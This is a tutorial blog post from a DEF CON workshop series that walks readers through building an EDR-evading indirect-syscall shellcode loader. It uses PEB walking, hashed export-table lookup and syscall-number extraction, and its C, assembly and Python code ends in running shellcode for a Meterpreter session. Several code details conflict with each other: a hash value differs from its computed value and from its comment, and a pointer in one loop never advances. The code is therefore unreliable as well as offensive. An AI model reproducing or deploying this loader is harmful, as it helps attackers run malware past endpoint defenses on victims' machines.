Zurück

Indirect syscalls and dynamic SSN retrieval via PEB/EAT

In this three-part blog post series, I’m sharing the bonus material from my DEF CON 31 workshop. This content is intended to help you deepen your understanding of (in)direct syscalls, improve your indirect syscall shellcode loader, and implement the Hell's Gate and Halos Gate techniques step by step. The aim is to further develop your skills in malware development, debugging, and evading Endpoint Protection Platforms (EPP) and Endpoint Detection and Response (EDR) solutions.

Before working through the chapters of the bonus material, I strongly recommend reviewing all sections of the main workshop content. This will ensure you have the necessary foundational knowledge for the more advanced techniques presented here.

In this post, I’m sharing part two of the bonus material. It guides you through extending the indirect syscall shellcode loader from part one by enabling dynamic retrieval of System Service Numbers (SSNs). This is done by walking the Process Environment Block (PEB) and parsing the Export Address Table (EAT), allowing you to bypass the use of potentially hooked Windows API functions like GetProcAddress.

LAB Exercise: Dynamic SSN retrieval via PEB/EAT

In the first bonus chapter, we enhanced our indirect syscall loader by replacing hardcoded System Service Numbers (SSNs) with functionality to retrieve them dynamically at runtime from ntdll.dll. Specifically, we used GetModuleHandle to obtain a handle to ntdll.dll, and GetProcAddress—combined with a 4-byte offset—to extract the SSN for each target native function.

While this was a meaningful improvement, it introduces a significant limitation: depending on the EDR in place, both GetModuleHandle and GetProcAddress may be user-mode hooked. If that's the case, our loader will likely be flagged as malicious. To address this, we can avoid using these APIs entirely by retrieving SSNs dynamically via a combination of Process Environment Block (PEB) walking and Export Address Table (EAT) parsing.

Several public proof-of-concept implementations demonstrate this technique. The most notable is Hell's Gate, introduced in 2020 by am0nsec and RtlMateusz. It was the first public PoC to combine direct syscalls with dynamic SSN retrieval via PEB/EAT parsing. Later, in the context of indirect syscalls, mrd0x released Hell's Hall, a hybrid approach that merges the core ideas of Hell's Gate with indirect syscall execution.

In short, both Hell's Gate and Hell's Hall walk the PEB to locate the base address of ntdll.dll without calling Windows APIs such as GetModuleHandleA. They then parse the Export Address Table to resolve the addresses of native functions at runtime. From there, they extract the SSNs directly from the function prologues in memory. While the underlying procedure is more complex and involves deeper access to internal data structures, the conceptual flow is consistent.

If you're interested in the technical details of Hell’s Gate, I highly recommend reading the original whitepaper and the excellent blog post by Alice Clement-Pommeret. You might also want to check out my own blog post Exploring Hell's Gate, which walks through the code step by step.

In this tutorial, we will continue building our indirect syscall loader, but instead of relying on GetModuleHandleA and GetProcAddress, we’ll implement SSN resolution using PEB walking and manual parsing of the export directory in ntdll.dll. Although Hell’s Gate uses this approach for direct syscalls, we will adapt it to our indirect syscall context, completing a more stealthy and resilient loader design.

You can find the code template for this tutorial here.

Shellcode Loader Coding

To better understand the provided code template, let’s walk through it step by step. If a section of code requires completion, it will be clearly marked as a task.

Header File

Since we’re no longer relying on ntdll.dll to resolve the definitions of the native API functions at runtime, we must manually define the necessary structures and function prototypes. As in previous implementations, these definitions should be placed in a dedicated header file named syscalls.h.

In this file, we define the structures and prototypes for all four native functions used in our loader. If you compare the syscalls.h file from this indirect syscall proof-of-concept with those from earlier chapters, you’ll notice a key addition: the definition of the LDR_MODULE structure.

This structure is essential for traversing the Process Environment Block (PEB), which allows us to locate the base address of ntdll.dll without calling potentially hooked Windows API functions like GetModuleHandle.

As always, ensure that the definitions in syscalls.h are consistent with the Windows internal data structures expected at the respective architecture level (x64 in our case). This includes correct packing and alignment of fields to avoid memory access errors during the PEB walk.

Task

The code for syscalls.h is already complete and is provided in the code section below. However, this file is not yet present in the current syscall proof-of-concept folder.

Your task is to:

  1. Create a new header file named syscalls.h in the root directory of the syscall PoC project.

  2. Copy the provided code into the new syscalls.h file to ensure all required structures and function declarations are available.

  3. Include the syscalls.h header in your main code by adding #include "syscalls.h" at the top of your main .c file.


If you examine the updated syscalls.h file, you’ll notice that it includes a definition for the LDR_MODULE structure. This structure was not part of the syscalls.h files in Bonus Chapter 01 or in the earlier chapters from the main course.

The inclusion of LDR_MODULE is necessary for implementing the PEB walk correctly. Without this structure, compilation would fail due to unresolved references in the main code when parsing the loader data entries from the PEB.

#ifndef _SYSCALLS_H  // If _SYSCALLS_H is not defined then define it and the contents below. This is to prevent double inclusion.
#define _SYSCALLS_H  // Define _SYSCALLS_H

#include <windows.h>  // Include the Windows API header

VOID PrepareSSN(DWORD SSN);

NTSTATUS NtAllocateVirtualMemory(
    HANDLE    ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T   RegionSize,
    ULONG     AllocationType,
    ULONG     Protect
);

NTSTATUS NtProtectVirtualMemory(
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    PSIZE_T RegionSize,
    ULONG NewProtect,
    PULONG OldProtect
);

NTSTATUS NtCreateThreadEx(
    PHANDLE hThread,
    ACCESS_MASK DesiredAccess,
    PVOID ObjectAttributes,
    HANDLE ProcessHandle,
    PVOID lpStartAddress,
    PVOID lpParameter,
    ULONG Flags,
    SIZE_T StackZeroBits,
    SIZE_T SizeOfStackCommit,
    SIZE_T SizeOfStackReserve,
    PVOID lpBytesBuffer
);

NTSTATUS NtWaitForSingleObject(
    HANDLE         Handle,
    BOOLEAN        Alertable,
    PLARGE_INTEGER Timeout
);


VOID PrepareSSN(DWORD SSN);
VOID PrepareSyscallInst(INT_PTR syscallInstr);

NTSTATUS NtCreateFile(
    PHANDLE            FileHandle,
    ACCESS_MASK        DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    PIO_STATUS_BLOCK   IoStatusBlock,
    PLARGE_INTEGER     AllocationSize,
    ULONG              FileAttributes,
    ULONG              ShareAccess,
    ULONG              CreateDisposition,
    ULONG              CreateOptions,
    PVOID              EaBuffer,
    ULONG              EaLength
);

typedef struct LDR_MODULE {
    LIST_ENTRY e[3];
    HMODULE base;
    void* entry;
    UINT size;
    UNICODE_STRING dllPath;
    UNICODE_STRING dllname;
} LDR_MODULE, * PLDR_MODULE;

#endif // _SYSCALLS_H  // End of the _SYSCALLS_H definition

Assembly Instructions

In this indirect syscall proof-of-concept, we intentionally avoid querying ntdll.dll for the syscall stubs or extracting the actual syscall-related instructions of the native functions we use. Instead, we implement the required low-level logic directly in assembly.

Because this is an indirect syscall approach, we still want the syscall instruction to execute from the memory space of ntdll.dll. This ensures that ntdll.dll appears at the top of the thread’s call stack after execution, mimicking legitimate execution flow and increasing stealth. To achieve this, we redirect execution so that the actual syscall instruction is fetched and executed from within ntdll.dll.

Rather than relying on automated tools to generate these instructions, we manually write the necessary assembly code. This deliberate choice supports a better understanding of how the syscall mechanism works under the hood.

You will find a file named syscalls.asm in the indirect syscall loader PoC directory. This file already includes part of the required assembly logic. Your task is to review this file and complete the missing assembly routines as needed to support the native APIs used in this project.

Task

Your task is to add the existing syscalls.asm file as a resource (existing item) to the Indirect Syscall Loader project. Once added, you are required to complete both the assembly code and corresponding C-side implementation for the three missing native APIs:

  • NtProtectVirtualMemory

  • NtCreateThreadEx

  • NtWaitForSingleObject


If you are currently unable to implement the required assembly logic manually, you may use the provided reference solution. Simply copy the corresponding assembly stubs from the solution into the syscalls.asm file located in the indirect syscall loader PoC directory.

Make sure the completed syscalls.asm correctly exports the required syscall stubs and that the C code is properly updated to call them. This includes ensuring that:

  1. Each native function has a corresponding prototype and function pointer declaration in syscalls.h.

  2. The syscall addresses are correctly resolved and assigned at runtime.

  3. The application correctly invokes the syscall via the indirect execution path defined in the assembly.


Once completed, validate the implementation by executing the loader and verifying stable functionality of all supported native calls.

.data
	SSN DWORD 000h
	syscallInstr QWORD 0h

.code

	PrepareSSN proc
					mov SSN, ecx
					ret
	PrepareSSN endp

	PrepareSyscallInst proc
			                mov syscallInstr, rcx
			                ret
	PrepareSyscallInst endp

	NtAllocateVirtualMemory proc
					mov r10, rcx
					mov eax, SSN
					jmp	qword ptr syscallInstr
					ret
	NtAllocateVirtualMemory endp

	NtProtectVirtualMemory proc
					mov r10, rcx
					mov eax, SSN
					jmp	qword ptr syscallInstr
					ret
	NtProtectVirtualMemory endp

	NtCreateThreadEx proc
					mov r10, rcx
					mov eax, SSN
					jmp	qword ptr syscallInstr
					ret
	NtCreateThreadEx endp

	NtWaitForSingleObject proc
					mov r10, rcx
					mov eax, SSN
					jmp	qword ptr syscallInstr
					ret
	NtWaitForSingleObject endp

end

Microsoft Macro Assembler (MASM)

All necessary assembly routines have already been implemented in the syscalls.asm file. However, to ensure the code is interpreted and integrated correctly within the Direct Syscall proof-of-concept, a few manual steps are required. These steps are not included in the downloadable PoC and must be completed by the student.

This includes:

  • Adding syscalls.asm to the Visual Studio project as an existing item, so it becomes part of the build process.

  • Configuring the project settings to support .asm files by enabling the use of the Microsoft Macro Assembler (MASM).

  • Verifying that all function names are correctly declared and exported, ensuring they can be resolved from C code without causing linker errors.


Completing these steps is essential for proper integration of the custom syscall stubs into the direct syscall loader. Failure to do so will result in build or runtime issues due to unresolved symbols or incorrect execution flow.

Task

The first step is to enable support for the Microsoft Macro Assembler (MASM) in your Visual Studio project. This is required to correctly compile and link the syscalls.asm file.

To do this, navigate to Build DependenciesBuild Customizations, and check the box for masm. This enables the MASM toolchain and allows Visual Studio to recognize and assemble .asm files as part of the project build process.

This step is essential to ensure that your assembly routines are compiled and linked alongside the C code in the Direct Syscall PoC.

Task

Next, we need to configure the build properties of the syscalls.asm file to ensure it is correctly interpreted by the Visual Studio build system. By default, newly added .asm files may not be properly associated with the MASM toolchain, which can lead to unresolved external symbol errors during linking—particularly for the native API stubs used in the direct syscall loader.

To fix this:

  • Right-click on syscalls.asm in the Solution Explorer and open Properties.

  • Set the Item Type to Microsoft Macro Assembler.

  • Ensure that Excluded from Build is set to No.

  • Set Content to Yes to include the file as part of the project’s output structure, if needed for packaging or referencing.


These settings ensure the assembler routines are correctly compiled and linked with the rest of your project, enabling successful integration of the syscall stubs.

NTAPI Name to Hash

Later in the code, you’ll see that in order to retrieve the addresses of native functions from the export directory of ntdll.dll, we need to iterate through the entire export table and extract the names of the exported functions. This process can be relatively slow if done using direct string comparisons for each lookup.

To improve efficiency, the code uses a hashing technique: instead of comparing function names as strings, it converts each function name to a hash value and compares these hashes. This significantly speeds up the lookup process, especially when working with large export tables.

The hash function used for this purpose is implemented in the code and will later be utilized in the GetFunctionAddr function to match and resolve the target native API addresses.

// Function to calculate a simple hash for a given string
DWORD calcHash(char* data) {
    DWORD hash = 0x99;
    for (int i = 0; i < strlen(data); i++) {
        hash += data[i] + (hash << 1);
    }
    return hash;
}

// Function to calculate the hash of a module
DWORD calcHashModule(LDR_MODULE* mdll) {
    char name[64];
    size_t i = 0;
    while (mdll->dllname.Buffer[i] && i < sizeof(name) - 1) {
        name[i] = (char)mdll->dllname.Buffer[i];
        i++;
    }
    name[i] = '\0';
    return calcHash(CharLowerA(name));
}

Task

Furthermore, to correctly identify the target native functions during export table parsing, we need to compare hash values rather than raw function names. This requires calculating the hash values for the function names of interest: NtAllocateVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, and NtWaitForSingleObject.

Your task is to use the provided Python script to compute the hash values for these four functions. Once calculated, make sure to write down or store all four hash values securely, as they will be required later during the implementation of the main function logic.

This step is essential for ensuring that the GetFunctionAddr function can correctly resolve the addresses of these native APIs via hash comparison during runtime.

import sys

# Hash function
def myHash(data):
    hash = 0x99  # initial hash value
    for i in range(0, len(data)):  # for each character in the string
        hash += ord(data[i]) + (hash << 1)  # calculate hash
    print(hash)  # print the computed hash
    return hash  # return the hash

# Main function to test the hash function
if __name__ == "__main__":
    myHash(sys.argv[1])  # compute the hash for the command-line argument

Based on the provided script, your task is to create a new Python file named hash.py. This file will be used to calculate the hash values of specific function names required for the indirect syscall loader.

Once the script is in place, run it using the following pattern as an example to compute the hash value of a given function name:

  • Provide the function name as input to the script.

  • The script will output the corresponding hash value.


Use this method to calculate the hashes for the following native functions:

  • NtAllocateVirtualMemory

  • NtProtectVirtualMemory

  • NtCreateThreadEx

  • NtWaitForSingleObject


Make sure to document or save these hash values, as they will be used in a later step when implementing the logic in the GetFunctionAddr function in the main loader.

cmd> python hash.py NtAllocateVirtualMemory


If you are unable to complete this code section on your own, you can refer to the solution provided below. It includes the complete implementation required to calculate the hash values for the target native function names.

NtAllocateVirtualMemory = 18479814906352
NtProtectVirtualMemory = 6180333595348
NtCreateThreadEx = 8454456120
NtWaitForSingleObject = 2060238558140

PEB Walk

The next step is to walk the Process Environment Block (PEB) to obtain the base address of ntdll.dll. This is achieved using the GetModule function, which is already fully implemented in the code template provided for this chapter.

If you examine the implementation closely, you’ll notice that the function performs a hash-based comparison using calcHashModule to identify the correct module. This allows the code to locate ntdll.dll without relying on potentially hooked Windows API calls such as GetModuleHandle.

This approach ensures a more stealthy and reliable resolution of the ntdll.dll base address, which is essential for later steps such as Export Address Table (EAT) parsing and indirect syscall execution.

// Function to get the base address of a module (dll) by hash
static HMODULE GetModule(DWORD myHash) {
    HMODULE module;
    INT_PTR peb = __readgsqword(0x60);
    int ldr = 0x18;
    int flink = 0x10;
    INT_PTR Mldr = *(INT_PTR*)(peb + ldr);
    INT_PTR M1flink = *(INT_PTR*)(Mldr + flink);
    LDR_MODULE* Mdl = (LDR_MODULE*)M1flink;
    do {
        Mdl = (LDR_MODULE*)Mdl->e[0].Flink;
        if (Mdl->base != NULL) {
            if (calcHashModule(Mdl) == myHash) {
                break;
            }
        }
    } while (M1flink != (INT_PTR)Mdl);
    module = (HMODULE)Mdl->base;
    return module;
}

Export Address Table Parsing

Now that we have the base address of ntdll.dll in memory, the next step involves resolving the addresses of specific native functions. This is done using the GetFunctionAddr function, which is fully implemented in the provided code template.

GetFunctionAddr navigates to the Export Directory of ntdll.dll, which is located within the Data Directory of the module’s Optional Header. By iterating through the AddressOfFunctions array in the export table, the function retrieves the Relative Virtual Addresses (RVAs) of all exported symbols. These RVAs are then added to the base address of ntdll.dll to compute the absolute memory addresses of the corresponding functions.

To efficiently identify the target functions, GetFunctionAddr uses calcHashModule to compute hashes of each exported function name. These are then compared against the hash values calculated earlier, ensuring precise resolution of the required native APIs without relying on direct string comparisons.

This hash-based export resolution logic is already fully implemented and requires no modification at this stage.

// Function to get the address of a function by hash
static LPVOID GetFunctionAddr(HMODULE module, DWORD myHash) {
    PIMAGE_DOS_HEADER DOSheader = (PIMAGE_DOS_HEADER)module;
    PIMAGE_NT_HEADERS NTheader = (PIMAGE_NT_HEADERS)((LPBYTE)module + DOSheader->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY EXdir = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)module + NTheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
    PDWORD fAddr = (PDWORD)((LPBYTE)module + EXdir->AddressOfFunctions);
    PDWORD fNames = (PDWORD)((LPBYTE)module + EXdir->AddressOfNames);
    PWORD fOrdinals = (PWORD)((LPBYTE)module + EXdir->AddressOfNameOrdinals);
    for (DWORD i = 0; i < EXdir->AddressOfFunctions; i++) {
        LPSTR pFuncName = (LPSTR)((LPBYTE)module + fNames[i]);
        if (calcHash(pFuncName) == myHash) {
            return (LPVOID)((LPBYTE)module + fAddr[fOrdinals[i]]);
        }
    }
    return NULL;
}

Main Function

Task

In the main function, most of the logic is already implemented. However, one critical step remains: you must insert the hash values you previously calculated for the native functions into the correct locations within the code.

Carefully examine the main function and identify where each hash value needs to be inserted for the corresponding API call. This typically occurs during the invocation of GetFunctionAddr, where the hash is used to locate the function’s address within the export directory of ntdll.dll.

As an example, you will see how the hash for NtAllocateVirtualMemory is already used in the code. Use this pattern as a reference to complete the entries for the remaining functions:

  • NtProtectVirtualMemory

  • NtCreateThreadEx

  • NtWaitForSingleObject


This step is essential for enabling the loader to resolve the correct function addresses and ultimately retrieve the corresponding SSNs dynamically. Without the correct hashes, the loader will fail to locate the required native functions, breaking the syscall execution path.

addr = GetFunctionAddr(ntdll, 18887768681269);     // Retrieve the address of the function within ntdll.dll that corresponds to the hash 8454456120 (NtAllocateVirtualMemory)

If you were unable to complete this code section on your own, the solution is provided below. It contains the correct placement of the precomputed hash values within the main function, ensuring that each native function can be resolved properly through GetFunctionAddr.

int main() {
    // Define shellcode to be injected.
    const char shellcode[] = "\xfc\x48\x83...";


    
    LPVOID addr = NULL; // Address of the function in ntdll.dll
    DWORD syscallNum = NULL; // Syscall number
    INT_PTR syscallAddr = NULL; // Address of the syscall instruction

    // Retrieve handle to ntdll.dll
    HMODULE ntdll = GetModule(4097367);

    //--------------------------------------------------------------------------------------------------------------------------------

    PVOID BaseAddress = NULL; // Base address for the shellcode
    SIZE_T RegionSize = sizeof(shellcode); // Size of the shellcode region

    addr = GetFunctionAddr(ntdll, 18887768681269);     // Retrieve the address of the function within ntdll.dll that corresponds to the hash 8454456120 (NtAllocateVirtualMemory)
    syscallNum = GetsyscallNum(addr);				  // Based on the address of the function, use the GetSyscallNum function to get the S  
    syscallAddr = GetsyscallInstr(addr);		     // Now that we have the address of the function, we can find out what the address of the syscall instruction is.

    PrepareSSN(syscallNum);							// Call the external defined function PrepareSSN defined in syscalls.h to store the SSN and then pass it to the MASM code. 
    PrepareSyscallInst(syscallAddr);               // Call the external defined function PrepareSyscallInst defined in syscalls.h to store the address of the syscall instruction and then pass it to the MASM code.

    // Allocate memory for the shellcode
    NtAllocateVirtualMemory(NtCurrentProcess(), &BaseAddress, 0, &RegionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    //--------------------------------------------------------------------------------------------------------------------------------


    // Copy the shellcode into the allocated memory region
    memcpy(BaseAddress, shellcode, sizeof(shellcode));

    //--------------------------------------------------------------------------------------------------------------------------------


    HANDLE hThread; // Handle to the newly created thread
    DWORD OldProtect = NULL; // Previous protection level of the memory region

    // Retrieve the address of NtProtectVirtualMemory in ntdll.dll
    addr = GetFunctionAddr(ntdll, 6180333595348);
    syscallNum = GetsyscallNum(addr);
    syscallAddr = GetsyscallInstr(addr);
    PrepareSSN(syscallNum);
    PrepareSyscallInst(syscallAddr);

    // Change the protection level of the memory region to PAGE_EXECUTE_READWRITE
    NtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, PAGE_EXECUTE_READ, &OldProtect);


    //--------------------------------------------------------------------------------------------------------------------------------

    HANDLE hHostThread = INVALID_HANDLE_VALUE; // Handle to the host thread

    // Retrieve the address of NtCreateThreadEx in ntdll.dll
    addr = GetFunctionAddr(ntdll, 8454456120);
    syscallNum = GetsyscallNum(addr);
    syscallAddr = GetsyscallInstr(addr);
    PrepareSSN(syscallNum);
    PrepareSyscallInst(syscallAddr);
    NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), (LPTHREAD_START_ROUTINE)BaseAddress, NULL, FALSE, NULL, NULL, NULL, NULL);


    //--------------------------------------------------------------------------------------------------------------------------------

    // Retrieve the address of NtWaitForSingleObject in ntdll.dll
    addr = GetFunctionAddr(ntdll, 2060238558140);
    syscallNum = GetsyscallNum(addr);
    syscallAddr = GetsyscallInstr(addr);
    PrepareSSN(syscallNum);
    PrepareSyscallInst(syscallAddr);
    NtWaitForSingleObject(hThread, FALSE, NULL);

    return 0;
}

SSN Retrieval

To retrieve the correct System Service Number (SSN) for each native function, the absolute memory address obtained in the previous steps is used to locate the corresponding syscall stub within the memory space of ntdll.dll. Once located, a simple pattern-matching technique is applied to verify that the correct stub has been identified. If the expected opcode pattern matches, the SSN is extracted from the stub and stored in the appropriate variable.

Task

In this code section, your task is to use x64dbg to inspect a clean (i.e., unhooked) syscall stub from a native function—for example, NtAllocateVirtualMemory. Your goal is to identify and complete the missing bytes in the opcode comparison logic used in the GetSyscallNum and GetSyscallInstr functions.

To do this correctly, examine the following specific byte positions within the syscall stub, starting from the first byte (offset 0x4C) of the function:

  • Bytes 1, 2, 3, 6, and 7 must be compared against known opcode values.

  • Bytes 4 and 5 represent the SSN (high and low byte) and are not included in the comparison. These are extracted only if the opcode pattern matches.


This comparison helps ensure you're reading a valid and unmodified syscall stub before extracting the SSN.

If you were unable to complete this code section, don't worry. The solution is provided below for your reference, and you can revisit this task later with a better understanding.

// Function to retrieve syscall number given an address.
WORD GetsyscallNum(LPVOID addr) {

    WORD SSN = NULL;

    while (TRUE) {
        // Check if the current bytes represent a syscall; if so, we've gone too far.
        if (*((PBYTE)addr) == 0x0f && *((PBYTE)addr + 1) == 0x05)
            return FALSE;
        // Check if the current byte is a return opcode; if so, we've gone too far.
        if (*((PBYTE)addr) == 0xc3)
            return FALSE;
        // Check if the current bytes match the pattern from an unhooked clean syscall stub from a native function e.g. NtAllocateVirtualMemory; if so, return the syscall number.
        if (*((PBYTE)addr) == 0x4c
            && *((PBYTE)addr + 1) == 0x8b
            && *((PBYTE)addr + 2) == 0xd1
            && *((PBYTE)addr + 3) == 0xb8
            && *((PBYTE)addr + 6) == 0x00
            && *((PBYTE)addr + 7) == 0x00) {

            BYTE high = *((PBYTE)addr + 5);
            BYTE low = *((PBYTE)addr + 4);
            SSN = (high << 8) | low;

            return SSN;
        }
    }
}

// Function to retrieve address of syscall instruction given an address.
INT_PTR GetsyscallInstr(LPVOID addr) {
    // Check if the current bytes match the pattern from an unhooked clean syscall stub from a native function e.g. NtAllocateVirtualMemory; if so, return the syscall number.
    if (*((PBYTE)addr) == 0x4c
        && *((PBYTE)addr + 1) == 0x8b
        && *((PBYTE)addr + 2) == 0xd1
        && *((PBYTE)addr + 3) == 0xb8
        && *((PBYTE)addr + 6) == 0x00
        && *((PBYTE)addr + 7) == 0x00) {

        return (INT_PTR)addr + 0x12;    // Address of syscall instruction
    }
}

Shellcode Loader Analysis

The first step is to execute your Indirect Syscall Loader, verify that the .exe is running correctly, and confirm that a stable Meterpreter C2 channel has been established. Once the loader is active, open x64dbg and attach it to the running process.

Note: If you choose to open the indirect syscall loader directly in x64dbg (rather than attaching to a live instance), you will need to manually execute the initial assembly instructions. This is necessary to reach the runtime context in which the syscall stubs and related structures are properly initialized in memory.

Task

Try to analyze the disassembled code using x64dbg. As you step through the execution, pay close attention to the following elements. What parts of the code can you identify?

For each native function used in the main function, you should be able to observe the following key stages:

  • The section where GetFunctionAddr is called to resolve the function’s absolute address in memory. This address is calculated based on the base of ntdll.dll and the relative offset extracted from the export directory.

  • The point at which PrepareSSN is called. This function reads the memory at the resolved address of the native API and attempts to locate and extract the System Service Number (SSN) based on known opcode patterns.

  • The section where PrepareSyscallInstr is invoked. This function determines the address of the actual syscall instruction within ntdll.dll, which will later be used for the jmp [syscallInstr] redirection to perform the indirect syscall.


As you step through each stage in x64dbg, try to correlate what you see in the disassembly with these function calls. This will help solidify your understanding of the indirect syscall mechanism and how each component contributes to resolving and executing the system call.


You can also identify, within the syscalls.asm file, the assembly code responsible for preparing and executing the indirect syscalls for each native function.

Each stub in this file is manually crafted to follow the calling convention required for the specific native API. These routines set up the required registers and then perform an indirect jump to the syscall instruction located within ntdll.dll—previously resolved and stored via the PrepareSyscallInstr function.

By stepping through this code in x64dbg, you can observe how the execution flows from the main function into the assembly stub, transfers control to the actual syscall instruction inside ntdll.dll, and then returns to continue execution.

Summary

In this chapter, we transitioned from retrieving System Service Numbers (SSNs) using potentially hooked Windows API functions (e.g., GetModuleHandleA, GetProcAddress) to a more stealthy and resilient approach: walking the Process Environment Block (PEB) and manually parsing the Export Address Table (EAT) of ntdll.dll.

This method significantly improves evasion capability, as it avoids reliance on user-mode APIs that are commonly monitored or hooked by Endpoint Detection and Response (EDR) solutions. By resolving function addresses and extracting SSNs directly from memory, we reduce the attack surface exposed to user-mode defenses and enhance the stealth of our syscall-based loader.

Limitations

While retrieving SSNs dynamically through PEB walking and Export Address Table (EAT) parsing is effective in bypassing user-mode hooks on functions like GetModuleHandleA and GetProcAddress, this technique has its limitations. If an EDR also hooks lower-level functions such as NtAllocateVirtualMemory, NtWriteVirtualMemory, or similar, this method may fail. In such cases, the system call stubs themselves may be modified or removed, making it impossible to extract the SSNs reliably using this approach.

To address this limitation, the next chapter introduces Halos Gate, an evolution of the Hell's Gate technique. Halos Gate is specifically designed to handle scenarios where the syscall stubs have been tampered with, enabling reliable SSN retrieval even when direct access to unmodified stubs is no longer possible.

If you're interested in further improving your (in)direct syscall shellcode loader and integrating the Halos Gate approach, refer to the material in Bonus Chapter 3 from the DEF CON 31 workshop.

Happy Hacking!

Daniel Feichter @VirtualAllocEx

Zuletzt aktualisiert 23.05.25 08:41:17 23.05.25
Daniel Feichter